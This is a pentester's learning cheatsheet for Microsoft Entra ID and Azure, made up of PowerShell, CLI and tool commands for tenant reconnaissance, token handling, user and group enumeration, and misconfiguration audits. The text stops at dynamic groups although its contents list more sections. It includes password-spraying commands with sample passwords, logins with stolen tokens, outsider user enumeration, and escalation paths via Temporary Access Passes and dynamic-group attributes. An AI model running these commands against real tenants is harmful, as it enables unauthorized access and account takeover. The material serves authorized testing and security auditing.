A comprehensive cheatsheet for Microsoft Entra ID enumeration, privilege escalation, and post-exploitation during authorized penetration testing engagements.
I wrote, and continue to write this cheatsheet as a way to document my learning and exploration of topics revolving around Entra ID/Azure pentesting. I find that I struggle to always remember every concept, tool or check and so to help make things easier on myself, I take anything new I learn from a TTP perspective and turn it into a one liner check or powershell command I can reliably call on.
This is a work in progress and so you will likely find that it will not cover every single thing about Azure/Entra ID pentesting. I started this project a few months ago as I dipped my toes into it and continue to learn :3
Table of Contents
- Module Setup & Authentication
- 1. External Reconnaissance (Unauthenticated)
- 2. Authentication & Token Manipulation
- 3. Session & Identity
- 4. Tenant Information
- 4A. Tenant Security Baseline & Policy Enumeration
- 4B. Authentication Methods & MFA Assessment
- 5. User Enumeration
- 5A. Stale & Inactive User Hunting
- 6. Group Enumeration
- 6A. Administrative Units
- 7. Dynamic Groups
- 8. Directory Roles & PIM
- 8A. Authentication Reset Attack Paths
- 9. Application Enumeration
- 9A. Application Misconfiguration Hunting
- 9B. Directory Extensions & Custom Security Attributes
- 10. Service Principal Enumeration
- 10A. Workload Identity & Federated Credentials
- 11. Credential Hunting
- 12. OAuth & Permission Analysis
- 12A. High-Impact Permission Hunting
- 13. Ownership Enumeration
- 14. Device Enumeration
- 14A. Guest, B2B & Cross-Tenant Access
- 15. Domain & Federation
- 15A. Hybrid Identity & Synchronization Enumeration
- 16. Conditional Access Policies
- 17. Write Permission Testing
- 18. Azure Resource Enumeration
- 18A. Azure Resource Security Misconfigurations
- 19. Privilege Escalation Vectors
- 20. Lateral Movement
- 21. Persistence Techniques
- 22. Data Access & Exfiltration
- 23. Suspicious Application Detection
- 24. Quick and Easy Findings
- 25. Comprehensive Audit Scripts
- 26. Audit Logs, Sign-Ins & Risk Detections
- Cmdlet Mapping: AzureAD -> Microsoft Graph
- Entra ID vs On-Prem AD
- Privilege Escalation Paths
- Tools Reference
Module Setup & Authentication
Microsoft Graph PowerShell SDK (Primary - replaces AzureAD module)
# Install the full SDK
Install-Module Microsoft.Graph -Scope CurrentUser -Force
# Or install only the submodules you need (faster)
Install-Module Microsoft.Graph.Authentication -Scope CurrentUser -Force
Install-Module Microsoft.Graph.Users -Scope CurrentUser -Force
Install-Module Microsoft.Graph.Groups -Scope CurrentUser -Force
Install-Module Microsoft.Graph.Applications -Scope CurrentUser -Force
Install-Module Microsoft.Graph.Identity.DirectoryManagement -Scope CurrentUser -Force
Install-Module Microsoft.Graph.Identity.SignIns -Scope CurrentUser -Force
Install-Module Microsoft.Graph.Identity.Governance -Scope CurrentUser -Force
# Connect interactively with required scopes
Connect-MgGraph -Scopes "Directory.Read.All","User.Read.All","Group.Read.All","Application.Read.All","RoleManagement.Read.All","Policy.Read.All","AuditLog.Read.All"
# Connect with a stolen access token
Connect-MgGraph -AccessToken (ConvertTo-SecureString "<token>" -AsPlainText -Force)
# Connect as a service principal with client secret
$SecurePassword = ConvertTo-SecureString "<client_secret>" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential("<app_id>", $SecurePassword)
Connect-MgGraph -TenantId "<tenant_id>" -ClientSecretCredential $Credential
# Connect with a certificate
Connect-MgGraph -ClientId "<app_id>" -TenantId "<tenant_id>" -CertificateThumbprint "<thumbprint>"
# Verify connection
Get-MgContext
# Record module versions (important for reproducibility)
Get-Module Microsoft.Graph* -ListAvailable | Sort-Object Name, Version -Descending | Select-Object Name, Version, Path
Get-Module Az* -ListAvailable | Sort-Object Name, Version -Descending | Select-Object Name, Version, Path
# Record PowerShell version
$PSVersionTable
Microsoft Entra PowerShell (Compatibility layer, which bridges old AzureAD scripts)
# Install
Install-PSResource -Name Microsoft.Graph.Entra
# Connect and enable legacy AzureAD command aliases
Import-Module Microsoft.Graph.Entra
Connect-Entra
Enable-EntraAzureADAlias
# Now old AzureAD commands work (Get-AzureADUser, etc.)
# This is the fastest migration path for existing scripts
Az PowerShell (Azure Resource Manager covers VMs, storage, etc.)
# Install
Install-Module Az -Scope CurrentUser -Force
# Or just the accounts module (faster)
Install-Module Az.Accounts -Scope CurrentUser -Force
# Connect interactively
Connect-AzAccount
# Connect with a stolen access token
Connect-AzAccount -AccessToken "<arm_token>" -AccountId "<user_or_app_id>"
# Connect with both ARM and Graph tokens
Connect-AzAccount -AccessToken "<arm_token>" -MicrosoftGraphAccessToken "<graph_token>" -AccountId "<user_or_app_id>"
# Request tokens for different resources
Get-AzAccessToken -ResourceUrl "https://management.azure.com/"
Get-AzAccessToken -ResourceUrl "https://graph.microsoft.com/"
Get-AzAccessToken -ResourceUrl "https://vault.azure.net/"
Get-AzAccessToken -ResourceUrl "https://storage.azure.com/"
Azure CLI
# Install: https://learn.microsoft.com/en-us/cli/azure/install-azure-cli
# Login interactively
az login
# Login with credentials
az login -u user@domain.com -p password
# Login as a service principal
az login --service-principal -u <app_id> -p <secret> --tenant <tenant_id>
# Get an access token
az account get-access-token --resource https://graph.microsoft.com
az account get-access-token --resource https://management.azure.com
az account get-access-token --resource https://vault.azure.net
AADInternals (Offensive toolkit)
# Install
Install-Module AADInternals -Force
# Import
Import-Module AADInternals
# Get access tokens for various services
Get-AADIntAccessTokenForMSGraph -SaveToCache
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
Get-AADIntAccessTokenForAADGraph -SaveToCache
# Or get all tokens at once
Get-AADIntAccessTokenForMSGraph -SaveToCache
GraphRunner (Post-exploitation toolkit)
# Clone from GitHub
git clone https://github.com/dafthack/GraphRunner.git
# Import
Import-Module .\GraphRunner.ps1
# Authenticate
Get-GraphTokens
ROADtools (Python-based recon)
# Install
pip install roadtools
pip install roadlib
# Authenticate
roadrecon auth -u user@domain.com -p password
roadrecon auth --access-token "<token>"
# Gather all data
roadrecon gather
# Launch web GUI to explore
roadrecon gui
AzureHound (BloodHound collector)
# Download from https://github.com/BloodHoundAD/AzureHound/releases
# Authenticate with username/password
azurehound -u user@domain.com -p password list -o output.json
# Authenticate with a refresh token
azurehound --refresh-token "<token>" list -o output.json
# Authenticate with a JWT
azurehound --jwt "<token>" list -o output.json
# Authenticate as service principal
azurehound -a <app_id> -s <secret> -t <tenant_id> list -o output.json
# Collect specific data
azurehound list users,groups,roles,role-assignments,apps,service-principals -o output.json
# Targeted collection
azurehound list vms,key-vaults,storage-accounts -o output.json
1. External Reconnaissance (Unauthenticated)
No credentials required. Enumerate tenant info, domains, and users from the outside.
AADInternals
# Full tenant reconnaissance
Invoke-AADIntReconAsOutsider -DomainName targetdomain.com
# Enumerate users (no auth needed - checks if accounts exist)
Invoke-AADIntUserEnumerationAsOutsider -UserName "admin@targetdomain.com"
# Enumerate from a list
Get-Content userlist.txt | Invoke-AADIntUserEnumerationAsOutsider
# Get tenant login type (managed vs federated)
Get-AADIntLoginInformation -UserName "user@targetdomain.com"
# Get tenant ID
Get-AADIntTenantID -Domain targetdomain.com
# Get tenant domains
Get-AADIntTenantDomains -Domain targetdomain.com
Open Endpoints (curl / browser)
# Get OpenID configuration (reveals tenant ID)
curl https://login.microsoftonline.com/targetdomain.com/.well-known/openid-configuration
# Get tenant ID from well-known endpoint
curl https://login.microsoftonline.com/targetdomain.com/v2.0/.well-known/openid-configuration | jq '.token_endpoint'
# Check if tenant exists
curl "https://login.microsoftonline.com/getuserrealm.srf?login=user@targetdomain.com&json=1"
# Enumerate Azure services via DNS
# Check for common Azure subdomains
for sub in mail autodiscover lyncdiscover sip owa; do
nslookup $sub.targetdomain.com
done
Password Spraying Tools
# MSOLSpray (Python)
python3 MSOLSpray.py --userlist users.txt --password "Spring2025!"
# o365spray
python3 o365spray.py --enum -U users.txt -d targetdomain.com
python3 o365spray.py --spray -U users.txt -P passwords.txt -d targetdomain.com
# Spray365
python3 spray365.py spray --client_id <id> -u users.txt -p "Password123"
# TeamFiltration
TeamFiltration --outpath output --enum --domain targetdomain.com --usernames users.txt
TeamFiltration --outpath output --spray --passwords passwords.txt
2. Authentication & Token Manipulation
Token Types
| Token Type | Resource URL | Used For |
|---|---|---|
| MS Graph | https://graph.microsoft.com |
Entra ID objects, M365 data |
| ARM | https://management.azure.com |
Azure resources (VMs, storage, etc.) |
| AAD Graph (legacy) | https://graph.windows.net |
Legacy Azure AD operations |
| Key Vault | https://vault.azure.net |
Key Vault secrets, keys, certs |
| Storage | https://storage.azure.com |
Blob, file, queue, table storage |
Request Tokens (Az PowerShell)
# Request ARM token
(Get-AzAccessToken -ResourceUrl "https://management.azure.com/").Token
# Request MS Graph token
(Get-AzAccessToken -ResourceUrl "https://graph.microsoft.com/").Token
# Request Key Vault token
(Get-AzAccessToken -ResourceUrl "https://vault.azure.net/").Token
# Request AAD Graph token (legacy)
(Get-AzAccessToken -ResourceUrl "https://graph.windows.net/").Token
Token Manipulation (AADInternals)
# Parse a JWT token
Read-AADIntAccesstoken -AccessToken "<token>"
# Get a token using a refresh token
$RefreshToken = "<refresh_token>"
Get-AADIntAccessTokenWithRefreshToken -RefreshToken $RefreshToken -Resource "https://graph.microsoft.com" -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264" -SaveToCache
# Get a token for a different resource using existing token
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
Token Manipulation (GraphRunner)
# Authenticate interactively and get tokens
Get-GraphTokens
# Refresh tokens
Invoke-RefreshGraphTokens
# Authenticate as an app
Get-AzureAppTokens -ClientId "<app_id>" -ClientSecret "<secret>" -TenantId "<tenant_id>"
# Auto-refresh tokens in the background
Invoke-AutoTokenRefresh -RefreshToken $tokens.refresh_token -TenantId "<tenant_id>"
Using Tokens with REST API
# Use a token directly with Graph API
$Token = "<access_token>"
$Headers = @{ "Authorization" = "Bearer $Token"; "Content-Type" = "application/json" }
# List users
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/users" -Headers $Headers
# List groups
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/groups" -Headers $Headers
# List applications
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/applications" -Headers $Headers
# List subscriptions (ARM token)
$ARMHeaders = @{ "Authorization" = "Bearer $ARMToken" }
Invoke-RestMethod -Uri "https://management.azure.com/subscriptions?api-version=2020-01-01" -Headers $ARMHeaders
3. Session & Identity
Microsoft Graph PowerShell
# Current session context
Get-MgContext
# Get your own user details
Get-MgUser -UserId (Get-MgContext).Account | Select-Object DisplayName, UserPrincipalName, Id, Department, JobTitle, City, Country, CompanyName, UserType, AccountEnabled
# Get your group memberships
Get-MgUserMemberOf -UserId (Get-MgContext).Account | Select-Object Id, @{N="DisplayName";E={$_.AdditionalProperties.displayName}}, @{N="Type";E={$_.AdditionalProperties.'@odata.type'}}
# Get objects you own
Get-MgUserOwnedObject -UserId (Get-MgContext).Account | Select-Object Id, @{N="DisplayName";E={$_.AdditionalProperties.displayName}}, @{N="Type";E={$_.AdditionalProperties.'@odata.type'}}
# Check your current scopes / permissions
(Get-MgContext).Scopes
Azure CLI
# Current account info
az account show
az ad signed-in-user show
AADInternals
# Get current user info
Get-AADIntUser -ObjectId "<your_object_id>"
4. Tenant Information
Microsoft Graph PowerShell
# Get tenant / organization details
Get-MgOrganization | Select-Object DisplayName, Id, TenantType, VerifiedDomains
# List all verified domains
Get-MgDomain | Select-Object Id, IsDefault, IsVerified, AuthenticationType
# Find federated domains (Golden SAML target)
Get-MgDomain | Where-Object {$_.AuthenticationType -eq "Federated"} | Select-Object Id, AuthenticationType, IsDefault
# Get directory settings
Get-MgDirectorySetting | Select-Object DisplayName, Id
Azure CLI
# Tenant details
az account tenant list
az rest --method get --url "https://graph.microsoft.com/v1.0/organization"
# List domains
az rest --method get --url "https://graph.microsoft.com/v1.0/domains"
AADInternals
# Get tenant domains
Get-AADIntDomains
# Get tenant details
Get-AADIntCompanyInformation
# Get tenant sync configuration
Get-AADIntSyncConfiguration
4A. Tenant Security Baseline & Policy Enumeration
These checks reveal tenant-wide misconfigurations that usually will in one or another be a finding in your reporting efforts
Authorization Policy (What Can Default Users Do?)
# Check default user permissions, which is pretty important for understanding attack surface
Get-MgPolicyAuthorizationPolicy | Select-Object Id, DefaultUserRolePermissions, GuestUserRoleId
# Expand default user role permissions
$AuthPolicy = Get-MgPolicyAuthorizationPolicy
$AuthPolicy.DefaultUserRolePermissions | Format-List
# What to look for:
# - AllowedToCreateApps = true -> any user can register apps (finding!)
# - AllowedToCreateSecurityGroups = true -> any user can create security groups
# - AllowedToReadOtherUsers = true -> users can enumerate the directory
# - PermissionGrantPoliciesAssigned -> user consent settings
Security Defaults
# Check if security defaults are enabled (basic MFA enforcement)
Get-MgPolicyIdentitySecurityDefaultEnforcementPolicy | Select-Object IsEnabled
# If disabled AND no Conditional Access policies exist -> finding
Authentication Flows Policy
# Check if self-service sign-up is enabled
Get-MgPolicyAuthenticationFlowsPolicy | Select-Object Id, Description, SelfServiceSignUp
Admin Consent Workflow
# Check admin consent request policy
Get-MgPolicyAdminConsentRequestPolicy | Select-Object IsEnabled, NotifyReviewers, RemindersEnabled, RequestDurationInDays
# If admin consent is disabled and users can consent themselves -> misconfig
Password Protection & Smart Lockout
# Via Graph REST (not all available via cmdlets)
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/policies/authenticationMethodsPolicy"
# Check activity-based timeout
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/policies/activityBasedTimeoutPolicies"
User Consent Settings
# Check what apps users can consent to
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/policies/authorizationPolicy" | Select-Object -ExpandProperty defaultUserRolePermissions
# Look for permissionGrantPoliciesAssigned - if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, users can consent to any app
External Collaboration Settings
# Check guest invitation restrictions
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/policies/authorizationPolicy" | Select-Object allowInvitesFrom, guestUserRoleId
# guestUserRoleId values:
# a0b1b346-4d3e-4e8b-98f8-753987be4970 = Same as member users (finding!)
# 10dae51f-b6af-4016-8d66-8c2a99b929b3 = Limited access (default)
# 2af84b1e-32c8-42b7-82bc-daa82404023b = Restricted access (most secure)
4B. Authentication Methods & MFA Assessment
Enumerate what authentication methods are enabled and who can use weak methods. Privileged users with only SMS/voice MFA is a finding.
Authentication Methods Policy
# Get the overall authentication methods policy
Get-MgPolicyAuthenticationMethodsPolicy | Select-Object Id, DisplayName, Description, RegistrationEnforcement
# Get all configured authentication method configurations
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/policies/authenticationMethodsPolicy" | ConvertTo-Json -Depth 10
Per-Method Configuration
# FIDO2 / Passkeys (phishing-resistant, check if enabled)
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/policies/authenticationMethodsPolicy/authenticationMethodConfigurations/fido2"
# Microsoft Authenticator
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/policies/authenticationMethodsPolicy/authenticationMethodConfigurations/microsoftAuthenticator"
# SMS (weak/deprecated now and so it is finding if used by admins)
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/policies/authenticationMethodsPolicy/authenticationMethodConfigurations/sms"
# Voice (weak/deprecated finding if used by admins)
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/policies/authenticationMethodsPolicy/authenticationMethodConfigurations/voice"
# Email OTP
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/policies/authenticationMethodsPolicy/authenticationMethodConfigurations/email"
# Temporary Access Pass (check lifetime and restrictions)
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/policies/authenticationMethodsPolicy/authenticationMethodConfigurations/temporaryAccessPass"
# Certificate-based auth
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/policies/authenticationMethodsPolicy/authenticationMethodConfigurations/x509Certificate"
Authentication Strengths (Conditional Access)
# List all authentication strengths, what qualifies as "strong" auth
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/policies/authenticationStrengthPolicies" | Select-Object -ExpandProperty value | Select-Object id, displayName, description, policyType
# Check if phishing-resistant strength exists and is used in CA policies
User Authentication Methods Audit
# Check a specific user's registered auth methods
Get-MgUserAuthenticationMethod -UserId "<user_id>" | ForEach-Object { [PSCustomObject]@{ MethodType = $_.AdditionalProperties.'@odata.type'; Id = $_.Id } }
# Check all admins' auth methods (are they phishing-resistant?)
$Admins = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'" | ForEach-Object { Get-MgDirectoryRoleMember -DirectoryRoleId $_.Id }
$Admins | ForEach-Object { $User = $_; $Methods = Get-MgUserAuthenticationMethod -UserId $User.Id; Write-Host "User: $($User.AdditionalProperties.displayName)"; $Methods | ForEach-Object { Write-Host " Method: $($_.AdditionalProperties.'@odata.type')" } }
Important Finding: When you see Global Admins that can only authenticate with SMS or voice MFA then know they are vulnerable to SIM-swapping and lower barrier phishing. Privileged users should require phishing-resistant methods (FIDO2, WHfB, CBA).
Legacy Authentication Protocol Exposure
# Legacy auth protocols bypass Conditional Access MFA, which leads to direct credential spray vector
# Check CA policies for legacy auth blocks
$CAPolicies = Get-MgIdentityConditionalAccessPolicy -All
$LegacyBlock = $CAPolicies | Where-Object { $_.Conditions.ClientAppTypes -contains "exchangeActiveSync" -or $_.Conditions.ClientAppTypes -contains "other" }
if (-not $LegacyBlock) { Write-Host "WARNING: NO CA policy blocks legacy authentication protocols (SMTP AUTH, IMAP, POP, ActiveSync, WS-Trust)" }
# Check which protocols are still active in sign-in logs
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/auditLogs/signIns?`$filter=clientAppUsed ne 'Browser' and clientAppUsed ne 'Mobile Apps and Desktop clients'&`$top=50" | Select-Object -ExpandProperty value | Group-Object clientAppUsed | Select-Object Name, Count | Sort-Object Count -Descending
# Specifically look for SMTP AUTH, POP3, IMAP4, Exchange ActiveSync usage
$LegacyProtocols = @("Authenticated SMTP", "POP3", "IMAP4", "Exchange ActiveSync", "Other clients", "Exchange Web Services")
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/auditLogs/signIns?`$top=200" | Select-Object -ExpandProperty value | Where-Object { $_.clientAppUsed -in $LegacyProtocols } | Select-Object userPrincipalName, clientAppUsed, ipAddress, createdDateTime | Format-Table
Temporary Access Pass (TAP) Abuse Assessment
# Check TAP policy if is it enabled, and what's the lifetime?
$TAP = Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/policies/authenticationMethodsPolicy/authenticationMethodConfigurations/temporaryAccessPass"
Write-Host "TAP Enabled: $($TAP.state)"
Write-Host "Default Lifetime (mins): $($TAP.defaultLifetimeInMinutes)"
Write-Host "Max Lifetime (mins): $($TAP.maximumLifetimeInMinutes)"
Write-Host "Default Length: $($TAP.defaultLength)"
Write-Host "Is Usable Once: $($TAP.isUsableOnce)"
# If TAP is enabled + Helpdesk/Auth Admins can issue them = escalation path
# A compromised Helpdesk Admin issues a TAP for a Global Admin, registers their own MFA, takes over
# Check who TAP is enabled for (includeTargets)
$TAP.includeTargets | ForEach-Object { Write-Host "TAP Target: $($_.id) - Type: $($_.targetType)" }
5. User Enumeration
Microsoft Graph PowerShell
# List all users
Get-MgUser -All | Select-Object DisplayName, UserPrincipalName, Id, UserType, AccountEnabled
# List all users with specific properties
Get-MgUser -All -Property DisplayName,UserPrincipalName,Id,Department,JobTitle,UserType,AccountEnabled | Select-Object DisplayName, UserPrincipalName, Id, Department, JobTitle, UserType, AccountEnabled
# Search for high-value users
Get-MgUser -All | Where-Object {$_.UserPrincipalName -match "admin|service|global|backup" -or $_.DisplayName -match "admin|service|global|backup"} | Select-Object DisplayName, UserPrincipalName
# Find guest users
Get-MgUser -All -Filter "userType eq 'Guest'" | Select-Object DisplayName, UserPrincipalName
# Get a specific user's details
Get-MgUser -UserId "user@domain.com" | Select-Object *
# Get user's group memberships
Get-MgUserMemberOf -UserId "<user_id>" -All | ForEach-Object { $_.AdditionalProperties.displayName }
# Get user's authentication methods (MFA details)
Get-MgUserAuthenticationMethod -UserId "<user_id>"
# Count users
Get-MgUser -Count userCount -ConsistencyLevel eventual | Out-Null; $userCount
Azure CLI
# List all users
az ad user list --output table
# Get specific user
az ad user show --id user@domain.com
# Search users
az ad user list --filter "startswith(displayName, 'admin')" --output table
AADInternals
# List all users
Get-AADIntUsers | Select UserPrincipalName, DisplayName, ObjectId
# Get a specific user
Get-AADIntUser -UserPrincipalName "user@domain.com"
# Get global admins
Get-AADIntGlobalAdmins
GraphRunner
# Full recon
Invoke-GraphRecon -Tokens $tokens -GraphRun
5A. Stale & Inactive User Hunting
Dormant accounts with active permissions are low-hanging takeover targets.
# Find users with sign-in activity data (requires AuditLog.Read.All)
Get-MgUser -All -Property DisplayName,UserPrincipalName,SignInActivity,AccountEnabled,UserType,CreatedDateTime | ForEach-Object { [PSCustomObject]@{ DisplayName = $_.DisplayName; UPN = $_.UserPrincipalName; Enabled = $_.AccountEnabled; UserType = $_.UserType; LastSignIn = $_.SignInActivity.LastSignInDateTime; LastNonInteractive = $_.SignInActivity.LastNonInteractiveSignInDateTime; Created = $_.CreatedDateTime } } | Sort-Object LastSignIn
# Find users who haven't signed in for 90+ days but are still enabled
$Stale = (Get-Date).AddDays(-90)
Get-MgUser -All -Property DisplayName,UserPrincipalName,SignInActivity,AccountEnabled | Where-Object { $_.AccountEnabled -eq $true -and $_.SignInActivity.LastSignInDateTime -lt $Stale } | Select-Object DisplayName, UserPrincipalName, @{N="LastSignIn";E={$_.SignInActivity.LastSignInDateTime}}
# Find enabled users who have NEVER signed in
Get-MgUser -All -Property DisplayName,UserPrincipalName,SignInActivity,AccountEnabled | Where-Object { $_.AccountEnabled -eq $true -and -not $_.SignInActivity.LastSignInDateTime } | Select-Object DisplayName, UserPrincipalName
# Find disabled users that still own applications or groups (orphan risk)
Get-MgUser -All -Filter "accountEnabled eq false" | ForEach-Object { $User = $_; $Owned = Get-MgUserOwnedObject -UserId $User.Id -All; if ($Owned) { Write-Host "DISABLED USER OWNS OBJECTS: $($User.DisplayName)"; $Owned | ForEach-Object { Write-Host " $($_.AdditionalProperties.'@odata.type'): $($_.AdditionalProperties.displayName)" } } }
Guest Account Hygiene
# Find stale guest accounts (invited but never redeemed, or inactive)
Get-MgUser -All -Filter "userType eq 'Guest'" -Property DisplayName,UserPrincipalName,CreatedDateTime,SignInActivity,AccountEnabled,ExternalUserState | ForEach-Object { [PSCustomObject]@{ DisplayName = $_.DisplayName; UPN = $_.UserPrincipalName; Created = $_.CreatedDateTime; State = $_.ExternalUserState; LastSignIn = $_.SignInActivity.LastSignInDateTime; Enabled = $_.AccountEnabled } }
# Guests who were invited but never accepted
Get-MgUser -All -Filter "userType eq 'Guest'" -Property DisplayName,ExternalUserState | Where-Object { $_.ExternalUserState -eq "PendingAcceptance" } | Select-Object DisplayName
6. Group Enumeration
Microsoft Graph PowerShell
# List all groups
Get-MgGroup -All | Select-Object DisplayName, Id, SecurityEnabled, MailEnabled, GroupTypes, Description
# Search for privileged groups
Get-MgGroup -All | Where-Object {$_.DisplayName -match "admin|privilege|global|security|AWS|Azure|VPN"} | Select-Object DisplayName, Description, Id
# Get group members
Get-MgGroupMember -GroupId "<group_id>" -All | ForEach-Object { [PSCustomObject]@{ DisplayName = $_.AdditionalProperties.displayName; UPN = $_.AdditionalProperties.userPrincipalName; Type = $_.AdditionalProperties.'@odata.type' } }
# Get group owners
Get-MgGroupOwner -GroupId "<group_id>" | ForEach-Object { $_.AdditionalProperties.displayName }
# Check if you're in a specific group
$MyId = (Get-MgContext).Account
$Members = Get-MgGroupMember -GroupId "<group_id>" -All
$Members.Id -contains (Get-MgUser -UserId $MyId).Id
# Find groups with role assignments
Get-MgGroup -All -Property DisplayName,Id,IsAssignableToRole | Where-Object {$_.IsAssignableToRole -eq $true} | Select-Object DisplayName, Id
# Recursive / transitive group membership
Get-MgUserTransitiveMemberOf -UserId "<user_id>" -All | ForEach-Object { [PSCustomObject]@{ DisplayName = $_.AdditionalProperties.displayName; Type = $_.AdditionalProperties.'@odata.type'; Id = $_.Id } }
Azure CLI
# List all groups
az ad group list --output table
# Get group members
az ad group member list --group "<group_name_or_id>" --output table
# Check membership
az ad group member check --group "<group_id>" --member-id "<user_id>"
GraphRunner
# Get security groups
Get-SecurityGroups -Tokens $tokens
6A. Administrative Units
Administrative Units restrict the scope of directory roles. Check if restricted management AUs are used to protect privileged accounts - and whether you’re scoped into one that gives you power.
# List all administrative units
Get-MgDirectoryAdministrativeUnit -All | Select-Object DisplayName, Id, Description, IsMemberManagementRestricted
# List members of an AU
Get-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId "<au_id>" -All | ForEach-Object { [PSCustomObject]@{ Name = $_.AdditionalProperties.displayName; Type = $_.AdditionalProperties.'@odata.type'; Id = $_.Id } }
# List scoped role members of an AU (who has admin power scoped to this AU)
Get-MgDirectoryAdministrativeUnitScopedRoleMember -AdministrativeUnitId "<au_id>" -All | Select-Object RoleId, RoleMemberInfo
# Check if you have scoped roles in any AU
$MyUserId = (Get-MgUser -UserId (Get-MgContext).Account).Id
Get-MgDirectoryAdministrativeUnit -All | ForEach-Object { $AU = $_; $ScopedRoles = Get-MgDirectoryAdministrativeUnitScopedRoleMember -AdministrativeUnitId $AU.Id -All; $ScopedRoles | Where-Object { $_.RoleMemberInfo.Id -eq $MyUserId } | ForEach-Object { Write-Host "YOU HAVE SCOPED ROLE IN AU: $($AU.DisplayName) - RoleId: $($_.RoleId)" } }
# Find restricted management AUs (users inside cannot be managed by tenant-wide admins except Global Admin)
Get-MgDirectoryAdministrativeUnit -All | Where-Object {$_.IsMemberManagementRestricted -eq $true} | Select-Object DisplayName, Id
7. Dynamic Groups
Microsoft Graph PowerShell
# Find all dynamic groups
Get-MgGroup -All | Where-Object {$_.GroupTypes -contains "DynamicMembership"} | Select-Object DisplayName, MembershipRule, MembershipRuleProcessingState, Id
# Get detailed dynamic group info
Get-MgGroup -All | Where-Object {$_.GroupTypes -contains "DynamicMembership"} | ForEach-Object { [PSCustomObject]@{ DisplayName = $_.DisplayName; MembershipRule = $_.MembershipRule; ProcessingState = $_.MembershipRuleProcessingState; GroupId = $_.Id; Description = $_.Description } }
# Check if dynamic groups have directory role assignments
$DynGroups = Get-MgGroup -All | Where-Object {$_.GroupTypes -contains "DynamicMembership"}
$Roles = Get-MgDirectoryRole -All
foreach ($Group in $DynGroups) { foreach ($Role in $Roles) { $Members = Get-MgDirectoryRoleMember -DirectoryRoleId $Role.Id; if ($Members.Id -contains $Group.Id) { Write-Host "DYNAMIC GROUP '$($Group.DisplayName)' HAS ROLE: $($Role.DisplayName)" } } }
# Check your attributes (compare against dynamic group rules)
Get-MgUser -UserId (Get-MgContext).Account -Property DisplayName,Department,JobTitle,City,Country,CompanyName,UserType | Select-Object DisplayName, Department, JobTitle, City, Country, CompanyName, UserType
Dynamic Group Security Assessment
# For each dynamic group: identify the attributes used in the rule, then check who can modify those attributes
Get-MgGroup -All | Where-Object {$_.GroupTypes -contains "DynamicMembership"} | ForEach-Object { $G = $_; $Rule = $G.MembershipRule; $PrivAttrs = @(); if ($Rule -match "department") { $PrivAttrs += "department" }; if ($Rule -match "jobTitle") { $PrivAttrs += "jobTitle" }; if ($Rule -match "companyName") { $PrivAttrs += "companyName" }; if ($Rule -match "city") { $PrivAttrs += "city" }; if ($Rule -match "country") { $PrivAttrs += "country" }; if ($Rule -match "extensionAttribute") { $PrivAttrs += "extensionAttribute" }; if ($PrivAttrs) { Write-Host "GROUP: $($G.DisplayName) uses mutable attrs: $($PrivAttrs -join ', ') | Rule: $Rule" } }
# Check if dynamic groups have app role assignments (access to apps)
Get-MgGroup -All | Where-Object {$_.GroupTypes -contains "DynamicMembership"} | ForEach-Object { $G = $_; $AppRoles = Get-MgGroupAppRoleAssignment -GroupId $G.Id -ErrorAction SilentlyContinue; if ($AppRoles) { Write-Host "DYNAMIC GROUP '$($G.DisplayName)' HAS APP ACCESS:"; $AppRoles | ForEach-Object { Write-Host " App: $($_.ResourceDisplayName)" } } }
Privilege Escalation: If you can modify your user attributes (department, jobTitle, etc.) to match a dynamic group’s membership rule, you automatically join that group and inherit its permissions.
Assessment note: For each dynamic group with privileged access, trace every attribute in its rule to find who can modify that attribute (HR sync, helpdesk, user self-service). If a broad population controls the attribute, it’s a finding.
Group Privilege Mapping (Groups as Attack-Path Nodes)
# Groups with directory role assignments - membership = admin access
$RoleAssignableGroups = Get-MgGroup -All | Where-Object { $_.IsAssignableToRole -eq $true }
Write-Host "Role-assignable groups: $($RoleAssignableGroups.Count)"
foreach ($G in $RoleAssignableGroups) {
$Roles = Get-MgRoleManagementDirectoryRoleAssignment -Filter "principalId eq '$($G.Id)'" -ErrorAction SilentlyContinue
$Owners = Get-MgGroupOwner -GroupId $G.Id -ErrorAction SilentlyContinue
Write-Host "GROUP: $($G.DisplayName) [Members: $($G.AdditionalProperties.membersCount)]"
$Roles | ForEach-Object { $RD = Get-MgRoleManagementDirectoryRoleDefinition -UnifiedRoleDefinitionId $_.RoleDefinitionId; Write-Host " ROLE: $($RD.DisplayName)" }
$Owners | ForEach-Object { Write-Host " OWNER: $($_.AdditionalProperties.displayName) ($($_.AdditionalProperties.userPrincipalName))" }
}
# Groups excluded from Conditional Access policies - CA bypass via group membership
Get-MgIdentityConditionalAccessPolicy -All | ForEach-Object { $Policy = $_; $_.Conditions.Users.ExcludeGroups | ForEach-Object { $GName = (Get-MgGroup -GroupId $_ -ErrorAction SilentlyContinue).DisplayName; Write-Host "CA EXCLUSION: '$($Policy.DisplayName)' excludes group '$GName' ($_)" } }
